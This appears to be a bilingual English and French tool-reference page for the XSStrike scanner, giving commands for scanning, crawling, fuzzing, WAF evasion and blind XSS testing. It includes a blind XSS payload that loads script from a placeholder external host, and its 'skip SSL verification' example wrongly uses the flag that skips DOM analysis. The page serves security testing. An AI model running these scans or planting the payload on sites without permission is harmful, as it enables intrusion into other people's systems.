← retour aux outils back to tools

# XSStrike

Scanner XSS avancé avec fuzzing, analyse de contexte et contournement de WAF. Détecte le XSS réfléchi, DOM et stocké avec des payloads personnalisés et une analyse pilotée par intelligence. Advanced XSS scanner with fuzzing, context analysis, and WAF bypass. Detects reflected, DOM, and stored XSS with custom payloads and intelligence-driven analysis.

↗ https://github.com/s0md3v/XSStrike

## Overview

XSStrike is an XSS detection tool that goes beyond simple payload injection. It analyzes response context, generates context-aware payloads, fuzzes for WAF bypass, and can crawl entire applications for XSS vulnerabilities. Supports reflected, DOM-based, and blind XSS testing.

## Basic Usage

Test a single URL

    python3 xsstrike.py -u "https://target.com/search?q=test"

Test POST parameter

    python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"

Test with cookies (authenticated scan)

    python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"

## Crawling

Crawl the entire application

    python3 xsstrike.py -u "https://target.com" --crawl

Set crawl depth

    python3 xsstrike.py -u "https://target.com" --crawl -l 3

Crawl and test all discovered parameters

    python3 xsstrike.py -u "https://target.com" --crawl --blind

## DOM-based XSS

Test for DOM XSS

    python3 xsstrike.py -u "https://target.com/page" --dom

## Fuzzing Mode

Fuzz all parameters with all payloads

    python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer

With delay to avoid WAF blocks

    python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2

## Network Options

Through proxy (Burp)

    python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080

Custom headers

    python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"

Skip SSL verification

    python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom

Set timeout

    python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10

## Blind XSS

Test for blind XSS (XSS that fires in admin panel etc.)

    python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind

    # Combined with a blind XSS handler (like XSS Hunter)
    # Use payload: <script src="https://YOUR_XSS_HUNTER/js"></script>

## Output

Verbose output

    python3 xsstrike.py -u "https://target.com/search?q=test" -v

Log output

    python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt

## Tips

- XSStrike’s context analysis produces more effective payloads than generic scanners
- Always combine with manual testing — automated tools miss complex XSS chains
- Use `--crawl` on single-page applications carefully — it can generate many requests
- For WAF bypass, XSStrike automatically tries encoding variations; also try manual mutation

Help / Man page

    python3 xsstrike.py [options]

    -u URL            Target URL
    --data DATA       POST data
    --cookies COOKIES Cookies string
    --headers HEADERS HTTP headers (JSON)
    --proxy PROXY     HTTP proxy
    --fuzzer          Enable fuzzer
    --blind           Test for blind XSS
    --dom             Test for DOM XSS
    --crawl           Crawl the website
    -l N              Crawl depth (default: 2)
    --skip-dom        Skip DOM analysis
    --delay N         Seconds between requests
    --timeout N       Request timeout
    -t THREADS        Concurrent threads
    -v                Verbose output

## Vue d’ensemble

XSStrike est un outil de détection XSS qui va au-delà de la simple injection de payload. Il analyse le contexte de la réponse, génère des payloads sensibles au contexte, fuzz pour le contournement de WAF, et peut parcourir des applications entières à la recherche de vulnérabilités XSS. Prend en charge les tests XSS réfléchi, basé sur le DOM, et aveugle.

## Utilisation de base

    # Tester une seule URL
    python3 xsstrike.py -u "https://target.com/search?q=test"

    # Tester un paramètre POST
    python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"

    # Tester avec des cookies (scan authentifié)
    python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"

## Crawling

    # Parcourir l'application entière
    python3 xsstrike.py -u "https://target.com" --crawl

    # Définir la profondeur de crawl
    python3 xsstrike.py -u "https://target.com" --crawl -l 3

    # Parcourir et tester tous les paramètres découverts
    python3 xsstrike.py -u "https://target.com" --crawl --blind

## XSS basé sur le DOM

Tester le XSS DOM

    python3 xsstrike.py -u "https://target.com/page" --dom

## Mode fuzzing

    # Fuzzer tous les paramètres avec tous les payloads
    python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer

    # Avec un délai pour éviter les blocages WAF
    python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2

## Options réseau

    # Via un proxy (Burp)
    python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080

    # En-têtes personnalisés
    python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"

    # Ignorer la vérification SSL
    python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom

    # Définir le timeout
    python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10

## XSS aveugle

Tester le XSS aveugle (XSS qui se déclenche dans un panneau d’admin, etc.)

    python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind

    # Combiné avec un handler de XSS aveugle (comme XSS Hunter)
    # Utiliser le payload : <script src="https://YOUR_XSS_HUNTER/js"></script>

## Sortie

    # Sortie verbeuse
    python3 xsstrike.py -u "https://target.com/search?q=test" -v

    # Journaliser la sortie
    python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt

## Conseils

- L’analyse de contexte de XSStrike produit des payloads plus efficaces que les scanners génériques
- Toujours combiner avec des tests manuels : les outils automatisés ratent les chaînes de XSS complexes
- Utiliser `--crawl` sur les applications à page unique avec précaution : cela peut générer de nombreuses requêtes
- Pour le contournement de WAF, XSStrike essaie automatiquement des variations d’encodage ; essayer aussi une mutation manuelle

Aide / Page de manuel

    python3 xsstrike.py [options]

    -u URL            Target URL
    --data DATA       POST data
    --cookies COOKIES Cookies string
    --headers HEADERS HTTP headers (JSON)
    --proxy PROXY     HTTP proxy
    --fuzzer          Enable fuzzer
    --blind           Test for blind XSS
    --dom             Test for DOM XSS
    --crawl           Crawl the website
    -l N              Crawl depth (default: 2)
    --skip-dom        Skip DOM analysis
    --delay N         Seconds between requests
    --timeout N       Request timeout
    -t THREADS        Concurrent threads
    -v                Verbose output